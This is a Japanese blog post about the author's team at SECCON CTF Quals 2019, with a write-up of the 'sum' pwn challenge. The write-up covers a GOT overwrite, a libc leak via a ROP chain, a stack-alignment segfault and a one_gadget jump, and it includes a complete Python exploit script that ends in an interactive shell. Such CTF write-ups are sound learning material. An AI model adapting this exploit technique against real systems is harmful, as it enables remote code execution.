SECCON CTF Quals 2019参加記
久しぶりにCTF出ました(実家帰ってたりインターン行ってたりコンパイラ書いてたり競技プログラミングしてました)。
今回出たのは日本で一番大規模だと勝手に言われているSECCON CTF Quals 2019です。この記事はその参加記になります。
結果
先に結果だけ言うといつもどおり./Vespiaryで参加して37位でした。国内決勝は…ちょっと届かなそうな感じです出場できることになりました(大歓喜)。今回私が入れたフラグですが、0です。優秀なチームメイトの皆様ありがとうございました。
嬉しい誤算
今回私がゴミみたいなスコアになった理由ですが実力不足が9割、メンバー増加が1割ぐらいだと思っています。いつもの低レイヤー担当の友人だけでなく大学の友人と先月行ったインターンで出会った人とその友人の皆様が参加してくれました。
彼らが私がいつもやっているCryptoとMiscを真っ先にピックしてくれたので私は心置きなく前から気になっていたPwnに初挑戦することができました。
おまけに向こうは皆で知恵を出し合いながら解いておりWeb、Crypto、Miscに関しては順調に埋まっていました。本当に感謝です。
sum
私が挑戦したPwnはsumで最終的にスコアは289点でした。Pwnの高い壁であるHeapは出題されず脆弱性を見つけたら後はROPするだけという問題でした。Pwnの概念は多少知っていたので脆弱性を見つけてから(正確にはいつもの低レイヤー担当から助言してもらった)libcのベースアドレスをリークさせるROPチェーンを組むとこまではできました。問題はここからでPwnをしてるかアセンブリの仕様を知らないと原因がわからないセグフォを吐かれ(原因は判明したので後述)どちらも満たさない私は結局解き切ることができませんでした。
SECCON終了後に他のPwnをしていた低レイヤー担当に聞いて原因が判明し競技終了後に無事に解くことができたので今回は解けなかった問題のWriteupを書こうと思います。
攻略手順
与えられたバイナリですが想定としては4つまでの0でない数字を入力し(scanf)、最後に0を入れることで0でない数字の総和を表示するプログラムです。しかしこの入力は実は6回(5回目で0を入力せず、6回目の入力終了後にmainに返る)できます。scanfに書き込み先として渡すアドレスですがmain関数のローカル変数を1つ指定しそこから8バイトずつ加算していく仕組みです。main関数のlocal変数は当然スタックに用意されているのでスタックのある位置からrbpへ向かって順に書き込まれていきます。都合の良いことにこの中にはポインタとして想定されるものがあります。そして総和はその変数で示したポインタに入ります。したがってポインタで指定したアドレスに数字の総和が入ることになり、任意アドレスに書き込みすることができます。
ところでこの総和を計算しアドレスに格納する処理はsumという関数で行われています。この返り値は総和計算に用いた数字の個数でmain関数ではこれが5より大きければexit(-1)して終わるという仕組みになっています。
任意書き込みとこの分岐を利用するとexitのGOTを書き換えてしまえば好きなところに飛ばすことができます。
例によってOneGadgetをここに設定したいのですがまずはlibcのアドレスをリークしなくてはならないので次のようにスタックを構成します
rbp - 0x18: 0x601048(exitのGOTのアドレス) rbp - 0x20: sumで足し合わせた結果が0x400a42(pop r15;ret)になるように調整 rbp - 0x28: 0x400904(mainのアドレス, 先頭に飛ばすとアライメント違反(後述)するので位置を工夫する必要がある) rbp - 0x30: 0x400600(putsのplt, 引数(rbp-0x38)に何らかの関数のGOTを指定してlibcのアドレスをリークさせる) rbp - 0x38: 何らかのGOT(mainで使用されている関数は使えない、またprintfは呼ばれていないため使えない, 今回はalarmを利用) rbp - 0x40: 0x400a43(pop rdi; ret) (ここに``call exitした際のripがリターンアドレスとして積まれ、pop r15; retのGadgetによって破棄される)
これによりlibcのアドレスをリークした後に再びmainに戻ってきたのでもう一度任意アドレス書き換えを行ってOneGadgetに飛ばすスタックを構成します。下の図は空欄ですが合計がpop r15; ret
になるように適当にとります)
rbp - 0x18: 0x601048(exitのGOTのアドレス) rbp - 0x20: rbp - 0x28: rbp - 0x30: rbp - 0x38: rbp - 0x40: OneGadgetのアドレス
こうして無事にOneGadgetに飛ぶことができました、めでたしめでたし
使用コード(pwntoolsで書き直したら追記します)
import socket, time, struct, telnetlib if __name__ == '__main__': s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('sum.chal.seccon.jp', 10001)) time.sleep(1) print(s.recv(1000)) gadget_1 = 0x400a42 rbp_18 = 0x601048 # exit@got rbp_28 = 0x400904 # main+1 rbp_30 = 0x400600 # puts@plt rbp_38 = 0x601030 # alarm@got rbp_40 = 0x400a43 # gadget rbp_20 = gadget_1 - rbp_18 - rbp_28 - rbp_30 - rbp_38 - rbp_40 payload = (str(rbp_40) + " " + str(rbp_38) + " " + str(rbp_30) + " " + str(rbp_28) + " " + str(rbp_20) + " " + str(rbp_18)).encode() print(payload) s.sendall(payload + b'\n') time.sleep(1) d = s.recv(1000) print(d) ptr = struct.unpack('<Q', d.split(b'\n')[0].ljust(8, b'\0'))[0] print('alarm: %x'%ptr) alarm_libc = 0xe4840 one_gadget = 0x4f322 one_gadget_addr = ptr - alarm_libc + one_gadget print(one_gadget_addr) rbp_40 = one_gadget_addr # rbp_18 = rbp_18 # same value rbp_20 = gadget_1 - rbp_18 - rbp_28 - rbp_30 - rbp_38 - rbp_40 payload = (str(rbp_40) + " " + str(rbp_38) + " " + str(rbp_30) + " " + str(rbp_28) + " " + str(rbp_20) + " " + str(rbp_18)).encode() s.sendall(payload + b'\n') t = telnetlib.Telnet() t.sock = s t.interact()
敗因と反省
いかにも上で上手くスタック構成しました~という感じに書いてますが本番中はmain+1(mov rbp, rsp)
ではなくmainの先頭アドレス(push rbp
)に戻っていました。これによってrspが16の倍数ではなくなってしまい、scanfのmovaps命令でアライメント違反を起こします。これによってセグフォを起こし詰まっていました。
結局終了後に低レイヤー担当に聞き、以前コンパイラを作成した時にそんな話をしていたのを思い出して原因は解決しました。また、この問題を解いた後に初めたROP EmporiumというサイトのBeginner's Guideにも書いてありました。
これはPwnをやる上では結構気にすることになるらしく競技プログラミングや再開したNo Man's Skyなんかに現を抜かさず少しでも勉強していれば防げた気がします。
結び
というわけでWriteupではなく参加記とタイトルに記した記事になりました。次回のCTFでは似たようなことを防ぐために座学だけでなく実際に問題を解いて経験値を貯めていこうと思っています(早速今週末にPwn1000本ノックを開催します、誰か教師役で来てください)。
ということを低レイヤー担当に言ったら「Pwnは俺がやるからお前はRevをやってくれ」と言われました、その次の週の週末でRev1000本ノックやります(多分)。
私の結果こそ奮いませんでしたがチームの成績は割と良く何より団体戦で楽しかったです、チームメイトの皆様、SECCON運営の皆様本当にありがとうございました。
ここまで読んでいただきありがとうございました、次回は"""Writeup"""記事を書けるように頑張ります。